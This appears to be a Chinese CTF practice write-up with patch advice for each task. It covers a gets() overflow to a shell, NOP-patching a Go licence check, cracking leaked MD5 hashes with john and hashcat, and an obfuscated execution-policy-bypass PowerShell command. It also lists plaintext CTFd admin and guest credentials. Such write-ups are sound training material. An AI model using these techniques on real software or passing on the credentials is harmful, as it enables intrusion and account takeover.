# 5/25 資訊安全實務演練(非公開)(宣儒備份版本) CTFd admin user帳密 `islab`:`@_1slab_@` guest user帳密 `guest`:`guestguest` ### Pwn #### Password ```c= #include<stdio.h> #include<stdlib.h> #include<string.h> void shell() { system("/bin/sh"); } int main() { setvbuf(stdout,0,2,0); setvbuf(stdin,0,2,0); setvbuf(stderr,0,2,0); char password[12] = "12345678"; char name[8]; printf("What's your name? "); gets(name); printf("Hello %s\n", name); if (!strcmp(password, "password")) { puts("Welcome :) "); shell(); return 0; } printf("QQ %s\n", password); exit(0); } ``` 可以透過 `objdump -d` 觀察 ELF 執行檔反組譯出來的組合語言。 password 在 rbp-0x14 name 在 rbp-0x1c 因此可以透過輸入 name 去覆蓋到 password 記憶體上的值。 ``` 4012a2: 48 b8 31 32 33 34 35 movabs rax,0x3837363534333231 4012a9: 36 37 38 4012ac: 48 89 45 ec mov QWORD PTR [rbp-0x14],rax 4012b0: c7 45 f4 00 00 00 00 mov DWORD PTR [rbp-0xc],0x0 4012b7: 48 8d 3d 4e 0d 00 00 lea rdi,[rip+0xd4e] # 40200c <_IO_stdin_used+0xc> 4012be: b8 00 00 00 00 mov eax,0x0 4012c3: e8 18 fe ff ff call 4010e0 <printf@plt> 4012c8: 48 8d 45 e4 lea rax,[rbp-0x1c] 4012cc: 48 89 c7 mov rdi,rax 4012cf: b8 00 00 00 00 mov eax,0x0 4012d4: e8 27 fe ff ff call 401100 <gets@plt> 4012d9: 48 8d 45 e4 lea rax,[rbp-0x1c] 4012dd: 48 89 c6 mov rsi,rax 4012e0: 48 8d 3d 38 0d 00 00 lea rdi,[rip+0xd38] # 40201f <_IO_stdin_used+0x1f> 4012e7: b8 00 00 00 00 mov eax,0x0 4012ec: e8 ef fd ff ff call 4010e0 <printf@plt> 4012f1: 48 8d 45 ec lea rax,[rbp-0x14] 4012f5: 48 8d 35 2d 0d 00 00 lea rsi,[rip+0xd2d] # 402029 <_IO_stdin_used+0x29> 4012fc: 48 89 c7 mov rdi,rax 4012ff: e8 ec fd ff ff call 4010f0 <strcmp@plt> ``` Writeup ✍ ``` $ nc pwn.macacahub.tw 3000 What's your name? 12345678password Hello 12345678password Welcome :) whoami password ``` #### 防護措施與修補建議 1. 建議使用 fgets 與 strcpy 等這類能限制讀取大小的函式,取代無限制而不安全的 gets 與 strcpy。 2. 軟體開發流程加入原始碼檢測 https://rules.sonarsource.com/c/RSPEC-1081 ![](https://i.imgur.com/Dsrgcwd.png) ### Reverse #### Activation Code 題目有提供原始碼 (實際上可透過反編譯等技術,反編譯出與原始碼相似的程式碼),觀察程式碼可以發現主要的驗證邏輯是啟動碼做字串比對,這時我們可以透過修改執行檔 (俗稱的打 Patch ),使原本的驗證邏輯失效。 ```go= activationCode = strings.Replace(activationCode, "\n", "", -1) // for windows \r\n activationCode = strings.Replace(activationCode, "\r", "", -1) if activationCode == "This is a fake activation code!" { fmt.Println("Congratulations!") fmt.Println("This is your flag:", getFlag()) } else { fmt.Println("Incorrect activation code! QQ") } ``` 我們可以透過 Linux 上的 `objdump -d` 將執行檔反組譯出組合語言與顯示對應的機械碼。題目提供的 hackMe.dump 即為`objdump` 反組譯出的結果。 go 語言中的 main 函式經編譯後的名稱為 main.main,並搭配呼叫兩次的 Replace 定位到我們程式主要驗證邏輯處。 ``` 481300: e8 9b 44 fe ff call 4657a0 <strings.Replace> 481305: 48 8d 0d d4 52 03 00 lea rcx,[rip+0x352d4] # 4b65e0 <runtime.mainPC+0x10> 48130c: bf 01 00 00 00 mov edi,0x1 481311: 31 f6 xor esi,esi 481313: 45 31 c0 xor r8d,r8d 481316: 49 c7 c1 ff ff ff ff mov r9,0xffffffffffffffff 48131d: 0f 1f 00 nop DWORD PTR [rax] 481320: e8 7b 44 fe ff call 4657a0 <strings.Replace> 481325: 48 83 fb 1f cmp rbx,0x1f ``` 0x481325 到 0x48133c 都是我們驗證邏輯所編譯出的組合語言,其 cmp 失敗而跳到`fmt.Println("Incorrect activation code! QQ")` ``` 481320: e8 7b 44 fe ff call 4657a0 <strings.Replace> 481325: 48 83 fb 1f cmp rbx,0x1f 481329: 75 77 jne 4813a2 <main.main+0x242> 48132b: 48 89 d9 mov rcx,rbx 48132e: 48 8d 1d c9 b6 01 00 lea rbx,[rip+0x1b6c9] # 49c9fe <go.string.*+0x4d56> 481335: e8 26 12 f8 ff call 402560 <runtime.memequal> 48133a: 84 c0 test al,al 48133c: 74 64 je 4813a2 <main.main+0x242> 48133e: 44 0f 11 7c 24 58 movups XMMWORD PTR [rsp+0x58],xmm15 481344: 48 8d 15 75 7b 00 00 lea rdx,[rip+0x7b75] # 488ec0 <type.*+0x6ec0> 48134b: 48 89 54 24 58 mov QWORD PTR [rsp+0x58],rdx 481350: 4c 8d 05 61 53 03 00 lea r8,[rip+0x35361] # 4b66b8 <runtime.defaultGOROOT.str+0xb0> 481357: 4c 89 44 24 60 mov QWORD PTR [rsp+0x60],r8 48135c: 48 8b 1d ed 4c 0a 00 mov rbx,QWORD PTR [rip+0xa4ced] # 526050 <os.Stdout> 481363: 48 8d 05 be 57 03 00 lea rax,[rip+0x357be] # 4b6b28 <go.itab.*os.File,io.Writer> 48136a: 48 8d 4c 24 58 lea rcx,[rsp+0x58] 48136f: bf 01 00 00 00 mov edi,0x1 481374: 48 89 fe mov rsi,rdi 481377: e8 24 a8 ff ff call 47bba0 <fmt.Fprintln> ``` 因此我們可以透過線上二進制編輯器修改執行檔 0x081325 到 0x08133c 位置,這裡我們嘗試覆蓋為組合語言中的 nop 機械碼 0x90,nop 即不做任何事,使程式可以一路直行到 `fmt.Println("Congratulations!")`。 ![](https://i.imgur.com/wnF43Lc.png) ![](https://i.imgur.com/vVvi5Hw.png) 編輯好後儲存並在 Linux 上執行,即可取得 flag 。 ``` $ ./hackMe_patch Please enter your activation code: Congratulations! This is your flag: FLAG{____} ``` #### 防護措施與修補建議 1. 可加入混淆、加殼、反偵測等技術保護程式 2. 機敏重要資訊不應寫死 (Hard Code) 在程式碼中,應透過網路連線去驗證 ### Web #### Salt 從 app.go 中能看到密碼會經過 md5 函式計算出其雜湊值,再與資料庫中的資料進行比對。 ```go= func getMacaca(name string, password string) Macaca { rows, err := db.Query("SELECT * FROM MacacaHub WHERE name=$1 AND password=$2;", name, getMD5Hash(password)) } ``` 可以看到 fileServer 提供靜態檔案的路徑,其功能類似 apache Web 網頁伺服器中的 index of。 ```go= func main() { fs := http.FileServer(http.Dir("./files")) http.Handle("/files/", http.StripPrefix("/files/", fs)) http.HandleFunc("/", auth(index)) http.HandleFunc("/login", login) http.HandleFunc("/favicon.ico", func(w http.ResponseWriter, r *http.Request) {}) err := http.ListenAndServe(":3000", nil) if err != nil { log.Fatal("ListenAndServe: ", err) } ``` 可在網站上發現macaca.db的資料庫。 ![](https://i.imgur.com/Uj6HSJ4.png) 查看資料庫內容,能發現密碼是被經過雜湊後再記錄的。 ![](https://i.imgur.com/DyAoRrA.png) 透過 python 將資料庫內容寫進文字檔,以便進行弱密碼破。以下是範例程式。 ```python= import sqlite3 import os DATABASE_PATH = os.path.join(os.path.dirname(__file__), "macaca.db") conn = sqlite3.connect(DATABASE_PATH) cur = conn.cursor() sql_result = cur.execute("select name, password from MacacaHub") with open("password.txt", "w+") as f: for name, password in sql_result: f.write(f"{name}:{password}\n") ``` 帳號與密碼用冒號 ":" 隔開。 ![](https://i.imgur.com/rYrTI9w.png) 使用 `john the ripper` 分析哪個用戶使用弱密碼。 ``` $ john -show --format=Raw-MD5 password.txt cyclopis:banana 1 password hash cracked, 14 left ``` ``` hashcat -m 0 -a 0 -o cracked.txt target_hashes.txt /usr/share/wordlists/rockyou.txt ``` 使用 cyclopis:banana 即可登入成功獲得 flag。 ![](https://i.imgur.com/9wwL1W0.png) #### 防護措施與修補建議 1. 雜湊時可加足夠長度的鹽,以防止資料庫外洩時容易遭暴力破解 2. 雜湊演算法應選用較新的 sha3 3. 登入驗面經加入驗證碼機制阻擋暴力破解 4. 謹慎使用類似目錄瀏覽與提供靜態檔的功能 5. 使用者不該能存取目錄,應回傳 403 或 404 等錯誤頁面 Index of ![](https://i.imgur.com/3U2iWG4.jpg) https://crackstation.net/ ![](https://i.imgur.com/ZFhBTvp.png) ### Misc #### Devil May Cry ![](https://i.imgur.com/QPm48uN.png) RLO 特殊 Unicode字元 https://www.ithome.com.tw/news/149275 ``` PowERshELl -eXecuti byPAsS "& ( $eNV:COmSPec[4,26,25]-JoIN'')( NEW-OBject Io.CompreSSION.DeflATEStReAm( [Io.MEMOrYstReaM] [syStem.conVeRt]::fromBAsE64StrING('bY9Nb4JAEIb/yhyaLkQ24asK3shWyqHJok0bEmMMXVehXVfDRz00/e8OAu2lh3nedyb7zmTvwYA7qd/mgh/rs2Rr33KnlvuwoR+81ISYBhgGyS5kQpbxc4Ty9I1IfIT49CqUrbK/ULwtIsWyLx6yeik8hap+ENllCTvNgLfYNDRGlkoCXWhxQr/reix9gLZB3QcIoDG+GXbmTdGNcA+bd7MEi7/Wsrtf3wY8bd9VKWTCsXs8ie7SEUvqpu6He5UjDxni9h1iAlC2WqQqEhLAWLMirzZBMOmN44SDCxzT6p3nA13Js4rYX8CxneHdzB1NOAZCF/5L2L83RjedjRHH9U0Trg==' ), [Io.COMPreSsION.CompRessiONMoDE]::DECompReSs) | fOrEaCh{NEW-OBject SyStEm.IO.sTREamreaDEr($_, [teXt.EncodinG]::aSCIi ) } |foReaCh{ $_.REaDToEnd( )})" ``` ``` > Write-Host QQ QQ ``` https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2 ``` > iex ("Wri"+"te"+"-Host"+" QQ") QQ ``` ``` > & "Write-Host" "QQ" QQ ``` ``` > & "iex" "Write-Host QQ" QQ ``` ```= > $eNV:COmSPec C:\Windows\system32\cmd.exe ``` ```= > NEW-OBject Io.CompreSSION.DeflATEStReAm( [Io.MEMOrYstReaM] [syStem.conVeRt]::fromBAsE64StrING('bY9Nb4JAEIb/yhyaLkQ24asK3shWyqHJok0bEmMMXVehXVfDRz00/e8OAu2lh3nedyb7zmTvwYA7qd/mgh/rs2Rr33KnlvuwoR+81ISYBhgGyS5kQpbxc4Ty9I1IfIT49CqUrbK/ULwtIsWyLx6yeik8hap+ENllCTvNgLfYNDRGlkoCXWhxQr/reix9gLZB3QcIoDG+GXbmTdGNcA+bd7MEi7/Wsrtf3wY8bd9VKWTCsXs8ie7SEUvqpu6He5UjDxni9h1iAlC2WqQqEhLAWLMirzZBMOmN44SDCxzT6p3nA13Js4rYX8CxneHdzB1NOAZCF/5L2L83RjedjRHH9U0Trg==' ), [Io.COMPreSsION.CompRessiONMoDE]::DECompReSs) | fOrEaCh{NEW-OBject SyStEm.IO.sTREamreaDEr($_, [teXt.EncodinG]::aSCIi ) } |foReaCh{ $_.REaDToEnd( )} & ( $enV:cOmspeC[4,26,25]-jOin'')( (('Xw'+'QFLA'+'G{'+'H4'+'ck3r'+'_l0v'+'3_'+'P'+'0w3'+'rSh3l'+'l}'+'XwQ dnC Ou'+'t-F'+'ile -Enco'+'d'+'i'+'ng ut'+'f8'+' -File'+'P'+'ath'+' XwQC:e'+'H'+'OUser'+'se'+'HOPubliceHO'+'Docu'+'m'+'entseHO'+'fla'+'gX'+'w'+'Q') -CREPlAce ([Char]88+[Char]119+[Char]81),[Char]34 -ReplACe ([Char]101+[Char]72+[Char]79),[Char]92 -ReplACe ([Char]100+[Char]110+[Char]67),[Char]124)) ``` ```= > (('Xw'+'QFLA'+'G{'+'H4'+'ck3r'+'_l0v'+'3_'+'P'+'0w3'+'rSh3l'+'l}'+'XwQ dnC Ou'+'t-F'+'ile -Enco'+'d'+'i'+'ng ut'+'f8'+' -File'+'P'+'ath'+' XwQC:e'+'H'+'OUser'+'se'+'HOPubliceHO'+'Docu'+'m'+'entseHO'+'fla'+'gX'+'w'+'Q') -CREPlAce ([Char]88+[Char]119+[Char]81),[Char]34 -ReplACe ([Char]101+[Char]72+[Char]79),[Char]92 -ReplACe ([Char]100+[Char]110+[Char]67),[Char]124) "FLAG{H4ck3r_l0v3_P0w3rSh3ll}" | Out-File -Encoding utf8 -FilePath "C:\Users\Public\Documents\flag" ``` ![](https://i.imgur.com/9h1HCRm.png) #### 防護措施與修補建議 1. 留意 PowerShell 的執行 ### Crypto #### RSA ```python= from Crypto.PublicKey import RSA pub_key = RSA.import_key(content) print(pub_key.n) ``` n = 123018668453011775513049495838496272077285356959533479219732245215172640050726 365751874520219978646938995647494277406384592519255732630345373154826850791702 6122142913461670429214311602221240479274737794080665351419597459856902143413 ``` pip install pycryptodome ``` Writeup ✍ ```python= import base64 from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Util.number import inverse p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489 q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917 with open("key.pub") as f: content = f.read() pub_key = RSA.import_key(content) n, e = pub_key.n, pub_key.e assert n == p * q phi_n = (p - 1) * (q - 1) d = inverse(e, phi_n) private_key = RSA.construct((n, e, d)) cipher_rsa = PKCS1_OAEP.new(private_key) with open("flag.enc") as f: encrypt_flag = f.read().encode() encrypt_flag = base64.b64decode(encrypt_flag) flag = cipher_rsa.decrypt(encrypt_flag).decode() print(flag) ``` #### 防護措施與修補建議 1. 正確使用加解密演算中的參數